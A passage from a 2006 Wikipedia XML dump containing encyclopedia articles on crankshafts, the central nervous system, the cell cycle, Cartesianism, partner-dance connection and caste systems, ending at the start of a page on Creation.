The configuration and number of pistons in relation to each other and the crank leads to [[straight engine|straight]], [[V engine|V]] or [[flat engine|flat]] engines. The same basic [[engine block]] can be used with different crankshafts, however, to alter the [[firing order]]; for instance, the 90 degree [[V6]] engine configuration, usually derived by using six cylinders of a [[V8]] engine with what is basically a shortened version of the V8 crankshaft, produces an engine with an [[V6#Odd and even firing|inherent pulsation in the power flow]] due to the &quot;missing&quot; two cylinders, often reduced by use of [[balance shaft]]s. The same engine, however, can be made to provide evenly spaced power pulses by using a crankshaft with an individual crank throw for each cylinder, spaced so that the pistons are actually phased 60 degrees apart, as in the [[GM 3800 engine]]. Similarly, while production V8 engines use 4 crank throws spaced 90 degrees apart, racing engines often use a &quot;flat&quot; crankshaft with throws spaced 180 degrees apart, accounting for the higher pitched, smoother sound of [[Indy Racing League|IRL]] engines compared to [[NASCAR]] engines, for example. In engines other than the flat configuration, it is necessary to provide [[counterweight]]s for the reciprocating mass of each piston and connecting rod; these are typically cast as part of the crankshaft, but occasionally are bolt-on pieces. This adds considerably to the weight of the crankshaft; crankshafts from [[Volkswagen]], [[Porsche]], and [[Corvair]] flat engines, lacking counterweights, are easily carried around by hand, compared to crankshafts for inline or V engines, which need to be handled and transported as heavy chunks of metal.

Many early aircraft engines (and a few in other applications) had the crankshaft fixed to the [[airframe]] and instead the cylinders rotated, known as a [[rotary engine]] design.

In the [[Wankel engine]], the rotors drive the eccentric shaft, which can be considered the equivalent of the crankshaft in a piston engine.

==Construction==
Crankshafts can be [[forge]]d or [[cast]] from either [[plain-carbon steel|mild steel]] or [[high strength steel]], or machined out of a single [[billet]] of forged steel. Mild steel is only used for engines in models or other such applications, where the engine runs but does not supply power. Cast crankshafts are usually found in production engines, with forged and billet crankshafts being more expensive but reliable for higher performance. The rough casting or forging is machined to size and shape, the holes are drilled, the main and connecting rod bearing journals are precision ground and [[case hardening|case hardened]], and the appropriate holes are threaded.

==Stress analysis of crankshaft==
The crankshaft is subjected to various forces but it needs to be checked in two positions.
Firstly, failure may occur at the position of maximum bending. In such a condition the failure is due to bending and the pressure in the cylinder is maximal. Secondly, the crank may fail due to twisting, so the crankpin needs to be checked for shear at the position of maximal twisting. The pressure at this position is not the maximal pressure, but a fraction of maximal pressure.

== See also ==
* [[Crankset|bicycle crankset]]
* [[Crank (mechanism)]]
* [[Brace (tool)]]
* [[Controlled Combustion Engine]]

==External links==
*[http://www.mustangandfords.com/howto/29178/ Nicely detailed discussion of crankshaft features, from ''Mustang &amp; Fords'' magazine, with many photographs]
*[http://pdmec4.mecc.unipd.it/~cos/DINAMOTO/twin%20motors/twin.html Animated representations of the vibrations characteristic of various two cylinder engine and crankshaft configurations]
*[http://www.babcox.com/editorial/ar/eb10330.htm Balancing engines]

[[category:engine technology]]

[[af:Krukas]]
[[da:Krumtapaksel]]
[[de:Kurbelwelle]]
[[es:Cigüeñal]]
[[fr:Vilebrequin (moteur)]]
[[nl:Krukas]]
[[pl:Wał korbowy]]
[[ru:Коленчатый вал]]
[[sv:Vevaxel]]
[[zh:曲轴]]</text>
    </revision>
  </page>
  <page>
    <title>CNS</title>
    <id>7250</id>
    <revision>
      <id>40377301</id>
      <timestamp>2006-02-20T03:45:04Z</timestamp>
      <contributor>
        <username>Flcelloguy</username>
        <id>267668</id>
      </contributor>
      <comment>Rm extraneous period</comment>
      <text xml:space="preserve">'''CNS''' can refer to:
* [[Cybercast News Service|CNS News]]
* in [[air traffic control]], '''[[Communication]], [[Navigation]], [[Surveillance]]'''
** often associated with the acronym ATM ([[Air Traffic Management]]) as '''CNS/ATM'''.
* the [[central nervous system]]
* the title granted to a [[Clinical Nurse Specialist]]
* the [[mnemonic]] for the demogroup [[Conspiracy (demogroup)|Conspiracy]] 
* the [[IATA]] code for [[Cairns International Airport]]
* in [[microbiology]], '''[[coagulase]] negative [[staphylococcus]]'''; a term to describe all staphylococcus species that are not [[staphylococcus aureus]]
{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Central nervous system</title>
    <id>7251</id>
    <revision>
      <id>41349360</id>
      <timestamp>2006-02-26T19:43:21Z</timestamp>
      <contributor>
        <username>Robth</username>
        <id>573348</id>
      </contributor>
      <minor />
      <comment>Revert to revision 41303195 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Central nervous system.svg|thumb|200px|A diagram showing the CNS:&lt;br /&gt;'''1.''' Brain&lt;br /&gt;'''2.''' Central nervous system&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;small&gt;(brain and spinal cord)&lt;/small&gt;&lt;br&gt;'''3.''' Spinal cord]]
The '''central nervous system''' ('''CNS''') represents the largest part of the [[nervous system]]. Together with the [[peripheral nervous system]], it has a fundamental role in the control of behavior. 

Since the strong theoretical influence of [[cybernetics]] in the fifties, the CNS is conceived as a system devoted to information processing, where an appropriate motor output is computed as a response to a sensory input. Yet, many threads of research suggest that motor activity exists well before the maturation of the sensory systems and then, that the senses only influence behaviour without dictating it. This has brought the conception of the CNS as an autonomous system. 

The whole CNS originates from the [[neural plate]], a specialised region of the [[germ layer|ectoderm]], the most external of the three embryonic layers. During embryonic development, the neural plate folds and forms the [[neural tube]]. The internal cavity of the neural tube will give rise to the ventricular system. The regions of the neural tube will differentiate progressively into transversal systems. First, the whole neural tube will differentiate into its two major subdivisions: [[spinal cord]] (caudal) and [[brain]] (rostral). Consecutively, the brain will differentiate into [[brainstem]] and [[prosencephalon]]. Later, the brainstem will subdivide into [[rhombencephalon]] and [[mesencephalon]], and the prosencephalon into [[diencephalon]] and [[telencephalon]].

The CNS is covered by the [[meninges]], the brain is protected by the skull and the spinal cord by the vertebrae. The rhombencephalon gives rise to the [[pons]], the [[cerebellum]] and the [[medulla oblongata]], its cavity becomes the fourth ventricle. The mesencephalon gives rise to the [[tectum]], [[pretectum]], [[cerebral peduncle]] and its cavity develops into the [[mesencephalic duct]] or cerebral aqueduct. The diencephalon gives rise to the [[subthalamus]], [[hypothalamus]], [[thalamus]] and [[epithalamus]], its cavity to the third ventricle. Finally, the telencephalon gives rise to the [[striatum]] (caudate nucleus and putamen), the [[hippocampus]] and the [[neocortex]], its cavity becomes the lateral (first and second) ventricles.

The basic pattern of the CNS is highly conserved throughout the different species of [[vertebrates]] and during evolution. The major trend that can be observed is towards a progressive telencephalisation: while in the reptilian brain that region is only an appendix to the large olfactory bulb, it represent most of the volume of the mammalian CNS. In the human brain, the telencephalon covers most of the diencephalon and the mesencephalon. Indeed, the [[allometry|allometric]] study of brain size among different species shows a striking continuity from rats to whales, and allows us to complete the knowledge about the evolution of the CNS obtained through [[cranial endocast]]s.

==Parts of the CNS==
&lt;!-- I'm using Netscape-Composer to edit this table - Rto --&gt;
&lt;!-- Don't add too much structures to this list... there is
another page for that (&quot;List of regions in the human brain&quot;--&gt;

&lt;center&gt;
&lt;table style=&quot;width:75%&quot; border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td colspan=&quot;82&quot;&gt;[[Spinal Cord]] &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td rowspan=&quot;4&quot;&gt;[[Brain]]&lt;/td&gt;
&lt;td rowspan=&quot;2&quot;&gt;[[Brainstem]]&lt;/td&gt;
&lt;td&gt;[[Rhombencephalon]]&lt;/td&gt;
&lt;td&gt;
[[Pons]], 
[[Cerebellum]], 
[[Medulla oblongata]] 
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Mesencephalon]]&lt;/td&gt;
&lt;td&gt;
[[Tectum]], 
[[Cerebral peduncle]], 
[[Pretectum]], 
[[Mesencephalic duct]] 
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td rowspan=&quot;2&quot;&gt;[[Prosencephalon]]&lt;/td&gt;
&lt;td&gt;[[Diencephalon]]&lt;/td&gt;
&lt;td&gt;
[[Epithalamus]], 
[[Thalamus]], 
[[Hypothalamus]], 
[[Subthalamus]], 
[[Pituitary Gland]], 
[[Pineal Gland]], 
[[Third ventricle]] 
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;[[Telencephalon]]&lt;/td&gt;
&lt;td&gt;
[[Basal ganglia]], 
[[Rhinencephalon]], 
[[Amygdala]], 
[[Hippocampus]], 
[[Neocortex]], 
[[Lateral ventricles]] 
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

==See also==
* [[Glossary of anatomical terminology, definitions and abbreviations]]
* [[List of regions in the human brain]]
* [[Central nervous system infection]]

==External links==
* [http://www.sylvius.com Sylvius: 400+ structure neuroanatomical visual glossary; used by over half of U.S. medical schools]
* [http://primate-brain.org High-Resolution Cytoarchitectural Primate Brain Atlases]
* [http://www.marymt.edu/~psychol/brain.html Human Brains: A Learning Tool].
* [http://www.humannervoussystem.info Explaining the human nervous system].
* [http://www.backrack.co.uk/nervous_index.shtml Nervous System - Back Pain - Anatomy (info on nerve pairs)].

{{nervous system}}

[[Category:Central nervous system|*]]
[[Category:Nervous system]]

[[ar:جهاز عصبي مركزي]]
[[da:Centralnervesystemet]]
[[de:Zentralnervensystem]]
[[es:Sistema nervioso central]]
[[fr:Système nerveux central]]
[[io:Centrala nervaro]]
[[is:Miðtaugakerfið]]
[[it:Sistema nervoso centrale]]
[[he:מערכת העצבים המרכזית]]
[[lt:Centrinė nervų sistema]]
[[nl:Centraal zenuwstelsel]]
[[no:Sentralnervesystem]]
[[pl:Ośrodkowy układ nerwowy]]
[[pt:Sistema nervoso central]]
[[ru:Центральная нервная система]]
[[sk:Centrálna nervová sústava]]
[[fi:Keskushermosto]]
[[sv:Centrala nervsystemet]]
[[uk:Центральна нервова система]]</text>
    </revision>
  </page>
  <page>
    <title>Cell cycle</title>
    <id>7252</id>
    <revision>
      <id>41675405</id>
      <timestamp>2006-03-01T00:09:03Z</timestamp>
      <contributor>
        <ip>142.103.205.100</ip>
      </contributor>
      <text xml:space="preserve">The '''cell cycle''', or '''cell division cycle''', is the cycle of events in a [[eukaryote|eukaryotic]] [[cell (biology)|cell]] from one cell division to the next. It consists of [[interphase]], [[mitosis]], and usually [[cell division]].
The cell cycle is regulated by [[cyclin]]s and [[cyclin-dependent kinase]]s.
[[Leland H. Hartwell]], [[R. Timothy Hunt]], and [[Paul M. Nurse]] won the [[2001]] [[Nobel Prize in Physiology or Medicine]] for their discovery of these central molecules in the regulation of the cell cycle.

==Phases==
[[image:cell_cycle.png|frame|Schematic of the cell cycle. I=Interphase, M=Mitosis. The duration of mitosis in relation to the other phases has&lt;br&gt; been exaggerated in this diagram]]
The phases of the cell cycle are:

*The [[G0 phase|'''G&lt;sub&gt;0&lt;/sub&gt; phase'''s]] is a period in the [[cell cycle]] where cells exist in a [[quiescence|quiescent]] state.
Interphase- usually 90% of the cycle and can divide into subphases:
**The [[G1 phase|'''G&lt;sub&gt;1&lt;/sub&gt; phase''']] is the first growth phase.
**[[S phase|'''S phase''']], during which the [[DNA]] is [[DNA replication|replicated]], where S stands for the Synthesis of DNA.
**[[G2 phase|'''G&lt;sub&gt;2&lt;/sub&gt; phase''']] is the second growth phase, also the preparation phase for the cell.
*[[M phase|'''M phase''']] or [[mitosis]] and [[cytokinesis]], the actual [[cell division|division]] of the cell into two daughter cells.

A surveillance system, so-called &quot;[[cellular checkpoint|checkpoints]]&quot;, monitor the cell for DNA damage and failure to perform critical processes.  
Checkpoints can block progression through the phases of the cell cycle if certain conditions are not met.  For instance, there is a checkpoint which monitors [[DNA replication]] and keeps cells from proceeding to [[mitosis]] before DNA replication is completed. Similarly, the [[spindle checkpoint]] blocks the transition from [[metaphase]] to [[anaphase]] within [[mitosis]] if not all [[chromosomes]] are attached to the [[mitotic spindle]].

If this system senses a problem, a network of [[signal transduction|signaling molecule]]s instructs the cell to stop dividing. They can let the cell know whether to repair the damage or initiate [[programmed cell death]], a form of which is called [[apoptosis]]. Programmed cell death ensures that the damaged cell is not further propagated.  For example, a certain protein, called [[p53]], acts to accept signals provoked by DNA damage. It responds by stimulating the production of inhibitory proteins that then halt the DNA replication process. Without proper p53 function, DNA damage can accumulate unchecked. A direct consequence is that the damaged gene progresses into a cancerous state. Today, defects in p53 are associated with a variety of [[cancer]]s, including some [[breast cancer|breast]] and [[colon cancer]]s.

Some cells, such as [[neuron|neurons]], never divide once they become locked in a [[G0 phase|'''G&lt;sub&gt;0&lt;/sub&gt; phase''']].  However, recent data has shown that neurons undergoing cell death re-enter the cell cycle. Addition of cell cycle inhibitors prevent this type cell death called apoptosis.

==External links==
*{{NCBI-scienceprimer}}

*[http://www.biochemweb.org/cell_cycle.shtml Cell Cycle and Cytokinesis - The Virtual Library of Biochemistry and Cell Biology]
*[http://www.zytologie-online.net/ Cell Cycle and Cell Biology with Cytokinesis]

[[Category:Cell biology]]
[[Category:Cell cycle|*]]

[[cs:Buněčný cyklus]]
[[de:Zellzyklus]]
[[es:Ciclo celular]]
[[hu:Sejtciklus]]
[[ja:細胞周期]]
[[nl:Celcyclus]]
[[pt:Ciclo celular]]
[[sk:Bunkový cyklus]]
[[fi:Solusykli]]
[[sv:Cellcykeln]]
[[vi:Chu kỳ tế bào]]
[[zh:细胞周期]]
[[sr:Животни циклус ћелије]]</text>
    </revision>
  </page>
  <page>
    <title>Cartesianism</title>
    <id>7253</id>
    <revision>
      <id>15905330</id>
      <timestamp>2005-06-06T17:53:50Z</timestamp>
      <contributor>
        <ip>4.7.211.94</ip>
      </contributor>
      <text xml:space="preserve">[[da:Kartesiansk]]
[[de:kartesisch]] [[fr:Cartésien]]
'''''Cartesian''''' means of or relating to the French philosopher and mathematician René Descartes.  See:

*[[René Descartes]], after whom the term is named
*[[Cartesian dualism]]
*[[Cartesian theater]]
*[[Cartesian product]], a direct product of two [[set]]s
*[[Cartesian coordinate system]], modern rectangular [[coordinate system]]
*the [[Cartesian diver]] experiment
*''[[Cartesian Meditations]]'', a work by [[Edmund Husserl]]
*''[[Cartesian Linguistics]]'', a work by [[Noam Chomsky]]

Related articles: [[Cultural movement]], [[French materialism]], [[Dualistic interactionism]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Connection (dance)</title>
    <id>7255</id>
    <revision>
      <id>37645471</id>
      <timestamp>2006-02-01T07:36:58Z</timestamp>
      <contributor>
        <username>Eitch</username>
        <id>419294</id>
      </contributor>
      <text xml:space="preserve">'''Connection''' is essential to all partner [[dancing]].
In [[Lindy Hop]], [[Balboa (dance)|Balboa]], [[East Coast Swing]], [[West Coast Swing]], [[salsa (dance)|Salsa]], [[Contra dance]], and other styles of partner dance, connection is the primary means of communication between the [[lead and follow]]. Other forms of communication, such as visual cues, are often considered to spoil the dance, unless used in specific circumstances, e.g., in figures danced without physical connection.

Following and leading is accomplished by maintaining a physical connection called the [[frame (dance)|frame]] that allows the lead to transmit body movement to the follow, and for the follow to suggest ideas to the lead.

Connection occurs in both open and closed body positions.

In [[closed position]] with [[body contact (dance)|body contact]], connection is achieved through maintenance of the [[frame (dance)|frame]].  The follow moves to match the lead, maintaining the pressure between the two bodies as well as the position.  The hands are secondary.

In an [[open position]] or a [[closed position]] without [[body contact (dance)|body contact]], the hands and arms provide the connection, which may be one of three forms: tension, compression or neutral.

During '''tension''' or '''leverage connection''', the dancers are pulling away from each other with an equal and opposite force.  The arms do not originate this force: this is provided by tension in trunk musculature, through body weight or by momentum.

During '''compression connection''', the dancers are pushing together.  In a neutral position, the hands do not impart any force other than the weight of the follow's hands in the lead's.

In the swing dances only, tension and compression may be maintained for a significant period of time.  In other dances, such as [[Ballroom dance|Latin]], tension and compression are indications of upcoming movement.  However, in both styles, tension and compression does not signal immediate movement: the follow must be careful not to move until actual movement by the lead.  Until then, the dancers must match pressures without moving their hands.  In some styles of [[Lindy Hop]], the tension may become quite high without initiating movement.

The general rule for open connections is that moves of the leader's hands back, forth, left or right are originated through moves of the entire body. Accordingly, for the follower, a move of the connected hand is immediately transformed into the coresponding move of the body. Tensing the muscles and locking the arm achieves this effect but is neither comfortable nor correct. Such tension eliminates the subtler communication in the connection, and eliminates free movement up and down, such as is required to initiate many turns.

Instead of tensing the arms, connection is achieved by engaging the shoulder, upper body and torso muscles. Movement originates in the body's core. A leader leads by moving himself and maintaining frame and connection: he does not push or pull the follow.

The connection between two partners has a different feel in every dance and with every partner.  Good social dancers adapt to the conventions of the dance and the responses of their partners.

==See also==

*[[Frame (dance)|Frame]]
*[[Dance move]]
*[[Lead and follow]]
*[[Musicality (dance)|Musicality]]

[[Category:Partner dance technique]]</text>
    </revision>
  </page>
  <page>
    <title>Cardiovascular system</title>
    <id>7256</id>
    <revision>
      <id>15905333</id>
      <timestamp>2003-02-16T18:56:44Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[circulatory system]]</text>
    </revision>
  </page>
  <page>
    <title>Caste</title>
    <id>7257</id>
    <revision>
      <id>42073649</id>
      <timestamp>2006-03-03T17:16:22Z</timestamp>
      <contributor>
        <ip>68.114.20.182</ip>
      </contributor>
      <comment>/* Nepalese caste system */</comment>
      <text xml:space="preserve">{{IndicText}}
'''Caste''' systems are traditional, hereditary systems of [[social stratification]]. Though historically and geographically widespread, the most well-known caste system today is the [[Indian caste system]]. 

The word ''caste'' is derived from the [[Portuguese language|Portuguese]] word ''casta'', meaning &quot;lineage&quot;,  the corresponding Sanskrit word  is ''jati'' meaning a birth based classification.



alternative spelling: &quot;cast system&quot;

[[cultural anthropology|Anthropologists]] use the term more generally to refer to a social group that is [[Endogamy|endogamous]] and [[Profession|occupationally]] specialized; such groups are common in highly stratified societies with a very low degree of social mobility.  In the broadest sense, some caste-based societies include [[South Africa]] during the era of [[apartheid]], the [[antebellum]] South of the [[United States]] through the [[American Civil Rights Movement|Civil Rights movement]], colonial [[Latin America]] under [[Spain|Spanish]] and [[Portugal|Portuguese]] rule (see [[Casta]]), and [[India]] prior to 1947. However, a difference arises when comparing caste-like systems in other countries to India. 
In the other countries, the separation between one group and the other was usually along racial lines. Within India, the 4 major castes are subdivided into hundreds of sub-castes,In Southern India ,castes based on &quot;occupation&quot; are as follows:
Carpenters are ASAARI,goldsmiths are THATTAAN,coppersmiths are MUUSAARI , ironsmiths are KARUVAN,washerwomen are MANNAN,coblers are PARAYAN and so on.  Usually they are within similar ethnic groups that shared the same language, traditions, and religion. Endogamous marriage including polyandry,and even association within caste was enforced strongly and along social and religious lines. For instance, until the recent century, many Brahmins would not allow Dalits to touch them or would wash themselves or their possessions if it had been touched by Dalits (Untouchables).Based on the caste system there was also a practice to define the distance at which one can keep from person of another caste.As a result of this children who came from school where all caste had their presence had to bathe  in running water before entrance to their home. In some parts of India this is still practiced.

	
===Jati===
*Sub-castes within a group of Varna are called Jati
*Each Jati members are allowed to marry only with their Jati.
*People are born into their Jati and it cannot be changed.
*Each jati is part of a locally based system of interdependence with other groups, involving occupational specialization, and is linked in complex ways with networks that stretch across regions and throughout the nation.

==Indian caste system==
{{main|Indian caste system}}
===Modern perceptions of caste===
While the Vedas mention only four main varnas or castes, contemporary India has numerous sub-castes or ''[[jati]]s'' within each Varna.  Jatis are  officially documented through the [[census]], primarily to determine those deserving [[reservation]] (an [[affirmative action]] process similar to and pre-dating  the [[United States|US]] system). Caste-based [[politics]] have strong roots in many Indian states, as most politicians have an inability or unwillingness to discuss economic and social issues in any rational manner. At most times, conversions to other religions (e.g., [[Christianity]] or [[Islam]]) results in expulsion from the ''jati'' - there are numerous examples where individuals lost their ''jati'' out of a misdeed and not by religious conversion alone. Many such converts feel they are now essentially freed of the caste system and on an equal social footing with others, regardless of their birth or education.

[[Mahatma Gandhi]] championed the cause of the untouchables and began India's attempts to integrate them into society, coining the perhaps [[euphemistic]] term [[Harijan]]s (&quot;people of God&quot;). The Indian Constitution has tough laws against discrimination on the basis of caste.  Matrimony between members of different castes is not rare, but is not very frequent either. There is a policy for the socio-economic upliftment of the former outcasts, by the provision of [[education]], reservation of admission seats in institutions for higher education, and a 12.5% [[quota]] in [[government]] jobs with faster promotions. These [[affirmative action]]s have often been challenged in courts, and through mass protests. Anti-reservation activists allege that the process, which they suspect is fuelled by political gains, artificially fosters the sub-divisions. A few allege that in the process of categorizing people &quot;who need reservation&quot;, sub-caste based ''jati'' identities becomes very important and is firmly entrenched in the Indian [[psyche]]. Many also allege that the progress of the meritorious is cramped by the reservation system, which has not been set any deadline by the [[Constitution of India]]. Pro-reservation activists allege that the system helps in upliftment of the lower castes and needs to be in place until all sections achieve an equal status in the Indian society. However, what started as a way of upliftment of a certain section of the society, has turned into a full fledged political issue - useful only for the politicians at elections. Certain states in India have a reservations of over 70%. 

Proponents of Affirmative Action or Reservations usually point to the centuries old system of social and economic reservation that upper castes of Hindus have been enjoying. Opponents of Affirmative Action tend to say that one needs to look to the future, not the past, if society is to prosper. It is not difficult to see that Affirmative Action may be impossible beyond a certain point - society may not generate sufficient wealth to maintain such a social mechanism.

==Nepalese caste system==

The caste system in [[Nepal]] can be traced back to the introduction of [[Muluki Ain]] (1854) by [[Jung Bahadur Rana]] after his return from his European tour. The Muluki Ain (1854) was a written version of social code that had been in practice for several centuries in Nepal. Its caste categories diverged from the four varnas of the classical Vedic model and instead had three categories to accommodate the tribal peoples between the pure and impure castes. These were further classified into five hierarchies with the following order precedence. (Harka Gurung 2005:3,Occational Papers in Sociology and Anthropology)

*   Thagadhari, (Wearer of holy chord)
*    Matwali
**    Namasyane Matwali (Non-enslavable alcohol-drinkers)
**    Masyane Matwali (Enslavable alcohol drinkers)
*     Pani nachalne choichoto halnu naparne, (Impure but touchable castes)
*    Pani nachalne chiochoti halnu parne, (Impure and Untouchable castes)

The above mention categories implies that Thagadhari (Wearer of holy chord) remains in the highest hierarchy in Hindu caste system followed by Matwali, (Non-enslavable alcohol-drinkers) and enslavable alcohol drinkers touchable caste and lastly untouchable.

Muluki Ain imposes the caste system in Nepal in order to incorporate people of different origin to bring under one umbrella of caste system. The first categories of Thagadhari which include Parbate Brahmin and Chettri are in the higher categories of hierarchy where as Brahmins of Terai and Newari Brahmin as per Muluki Ain do not fall under these categories.

Matwali group, salvable and enslavable falls under second categories, which include the people of ethnic origin and Brahmins of terai and Newari Brahmins. It also includes those people in the non-enslavable group such as Magar, Gurung, Rai, and Limbu etc and enslavable are Tamang, Chepang, Thami etc.

Untouchable are the categories of varnas system in ancient Manu's Code but some people such as Musalman and foreigners as well falls under these categories. Untouchables are divided into Pani nachalne choichoto halnu naparne, (Impure but touchable castes) and Pani nachalne chiochoti halnu parne, (Impure and Untouchable castes). In present day context caste system falls under Hindu varna system i.e, Brahmin, Khatria  Vaisias and Sudra respectively instead of following Muluki Ain's codification, as ethnic group do not follow the caste system because they have their own culture, tradition ,religion and values system which do not fall under caste system. which is great.

==Sri Lankan caste system==
{{main|Caste in Sri Lanka}}

The caste system appears to have been introduced to [[Sri Lanka]] by [[Aryan]]-language-speakers from North India. There is evidence of the main vedic castes in the early [[Anuradhapura]] era. The introduction of [[Buddhism]] in the 3rd century BCE blunted the edge of the system somewhat. However, there is a reference to King [[Dutugemunu]] Abhaya's son, [[Saliya]] choosing to lose caste by marrying [[Asokamala]], a [[Chandala]] (outcaste) woman, in the 2nd century BCE.

The later caste system seems to have evolved as much through waves of ethnic migration as by occupation.  Among the present-day [[Sinhalese]] the Vedic categories no longer exist, while among the Sri Lanka [[Tamils]], the only Vedic category to persist is that of [[Brahmins]]; these ethnic groups share many categories.

The major Sinhalese castes (''Jathi'') are: ''Govigama'' or ''Goyi'' ('farmers'), ''Navandhaenna'' or ''Ridhi'' (silversmiths), ''Karava'' (fishermen), ''Dhurave'' (toddy tappers), ''Salagama'' or ''Haali'' (cinnamon peelers), ''Wahumpura'' or ''Hakuru'' (Jaggery-makers), ''Bathgama'' or ''Padhu'' (bearers), ''Berava'' (Tom-tom beaters), ''Panna'' (grass-cutters), ''Kumbal'' (potters), [[Radha]] (Washers or Dhobies), ''Demelagaththaro'' (Tamil tribes) and ''Hinna'' (washers to the Salagamas). There also 'Out' castes, the Tamil-speaking, wandering 'Gypsies' - ''Rodi'' and ''Ahikuntaka''. The aboriginal [[Veddas]] were considered to be outside the caste system: many aristocratic families claim descent from these tribes; however, the 'Gypsy' castes may be offshoots of aboriginal hunters employed by the ancient kings.

Among the Tamils, many of these castes are duplicated: ''Vellala'' (equivalent to ''Govigama''), ''Karaiyar'' (''Karava'') and ''Dhuraiyar'' (''Dhurave''). There is also a caste called  ''Kovi'', the members of which claim to be Sinhalese ''Govigama'' isolated in Tamil areas after the [[Chola]] conquest of the North.

The Indian Tamils who were brought over by the British as [[indentured labour]] were mainly from the lower Indian castes; the South Indian categories came over with them.

It appears that caste was more important than ethnicity until comparatively recently. In pre-British times, the ''Govigama'' were classed as ''Vellala'' by the colonial authorities. [[Eurasians]] and South Indian ''[[Chetties]]'' were absorbed into the ''Govigamas''. Cross-ethnic marriage was fairly common. Several leading 'aristocratic' Sinhalese families are descended from Tamils or [[Keralites]]. Many ''Karavas'' speak Tamil at home and have relatives among the 'Tamil' ''Karaiyars''.

Religious practice tends to reinforce the caste system. In the feudal era, people of low castes were not allowed into the shrines of the major gods or into the [[Sangha|Buddhist clergy]]. The priests of the gods ([[kapuralas]]) had to be Govigama among the Sinhalese, Brahmins among the Tamils. However, the '[[Devil Dancers]]' (exorcists, healers and sorcerers) were drawn from the tom-tom beating caste.

In the 19th century the [[Amarapura Nikaya|Amarapura]] and [[Ramanna Nikaya|Ramanna]] sects were formed to allow non-Govigama priests to be ordained, in opposition to the casteist [[Siam Nikaya|Siam]] sect. In the late 1960s, there were a series of '[[Temple Struggles]]' in the northern Jaffna district, during which members of lower castes forced their way into Hindu temples, establishing their right of entry.

==Balinese caste system==
{{main|Balinese caste system}}

==Castes in ancient Israel==
Something akin to the caste system was also found in [[Judaism]] (during the [[Temple in Jerusalem|Temple]] period), which divided its society into the inherited [[Cohanim]] priesthood, who, due to their Temple duties, had access to most parts of the Temple, [[Levites]], whose auxiliary duties allowed them somewhat less access than the Cohanim, and the rest of the [[Israelites]], whose involvement in the Temple was lesser than the Levites. This &quot;caste system&quot; had mostly ritualistic ramifications, and the social side-effects were very limited and far lesser than those found in the Hindu caste system, which entailed almost complete social separation and a clear social hierarchy. Intermarriage was completely allowed within the Israelite people, with rare exception (such as the prohibition against a Cohen marrying a divorcee), and the Israelites were prohibited only from marrying outside their own people. This Israelite &quot;caste system&quot; continued along lines of [[Patrilineal descent]]. Converts to the Israelite people were considered full Israelites, and Mosaic law demanded that they be treated kindly and with special sensitivity. In contemporary Judaism, despite the absence of the Temple, certain ritual laws continue to apply to Cohanim, and both they and the Levites are honored with deferential formalities in some rituals.

==Castes in Africa==
Countries in [[Africa]] who have societies with caste systems within their borders include Mali, Mauritania, Senegal, Gambia, Guinea, Guinea-Bissau, Ivory Coast, Niger, Burkina Faso, Cameroon, Ghana, Liberia, Sierra Leone, Algeria, Nigeria, Chad, Ethiopia and Somalia.

The Osu caste system in [[Nigeria]] and northern [[Cameroon]], can be traced back to an indigenous religious belief system, practiced within the Igbo nation. It is the belief of many Igbo traditionalists that the Osus are people historically owned by deities, and are therefore considered to be a 'living sacrifice', an outcaste, untouchable and sub-human.

Caste systems in [[Somali]] outcaste Midgan-Madhiban, Yibir, Tumal and other groups deemed to be impure. The outcaste clans do not descend from the Arabic-origin ancestors of the political powerful noble caste, such as the Darood, Hawiye and Isaak clans, and are traditionally forbidden to socialize with others in Somali society, have no access to public wells and other water sources, cannot own land and are not allowed to live in villages. 

Among the Mande societies in [[Senegal]], [[Gambia]], [[Guinea]], [[Sierra Leone]], [[Liberia]], [[Ivory Coast]], and [[Ghana]] people are divided by occupation and ethnic ties. The highest hierarchy in the Mande caste system, the Horon (nobles/freeborn), are traditionally comprised of farmers, fisherman, warriors and animal breeders, the lowest caste are the Jonow, a &quot;slave&quot; caste, made up of people whose ancestors were enslaved by other Africans during tribal wars. The Wolof hierarchical caste system in Senegal is divided into three main groups, the Geer (freeborn/nobles), jaam (slaves and slave descendents) and the outcasted neeno (people of caste). 

The caste system found amongst the Borana in North Eastern [[Kenya]] is divided into four distinct castes. At the top, there are Borana Gutu (Pure), followed by Gabra, then Sakuye, and Watta, a traditional hunter-gatherer caste, being the last. The Watta are condemned to life-long servitude for members of the higher castes. Among the Tuareg societies found in [[Burkina Faso]], [[Mali]] and [[Niger]], exists a similar caste system, where the Bellah slave caste is treated as slaves to other castes.   

In [[Rwanda]], [[Burundi]] and eastern [[Democratic Republic of the Congo|Congo]] it is known as ''ubuhake''.  The [[Tutsi]], who comprise about 15% of the population of these areas, were the ruling, Cattle-owning caste - corresponding to the &quot;Kshatriyas&quot; in the Vedic system. Below them were the [[Hutu]], the farmers - corresponding with the Vedic ''Sudras''; about 80% of the population. Fewer than 3% of the population are [[Twa]] or [[Pygmies]], who occupy a position similar to that of 'tribals' in the Indian system. 

During the [[Germany|German]] suzerainty over Rwanda and Burundi, the authorities reinforced the system by employing Tutsis in hegemonic roles. The [[Belgian]] colonialists who succeeded them after [[World War I]] continued this policy, instituting 'ethnic' identity cards. They also incorporates subsidiary populations, such as the [[Hima]] and the [[Baganwa]], into the Tutsi.

After independence, tensions intensified. In [[1972]], Tutsis were responsible for a wholesale massacre of Hutus. In the [[1990s]], Hutus responded with counter-massacres.

==References==
*Bryce Ryan, ''Caste in Modern Ceylon'', Rutgers University Press, 1953.</text>
    </revision>
  </page>
  <page>
    <title>Creation</title>
    <id>7258</id>
    <revision>
      <id>39757258</id>
      <timestamp>2006-02-15T17:46:58Z</timestamp>
      <contributor>
        <username>Happyhyper</username>
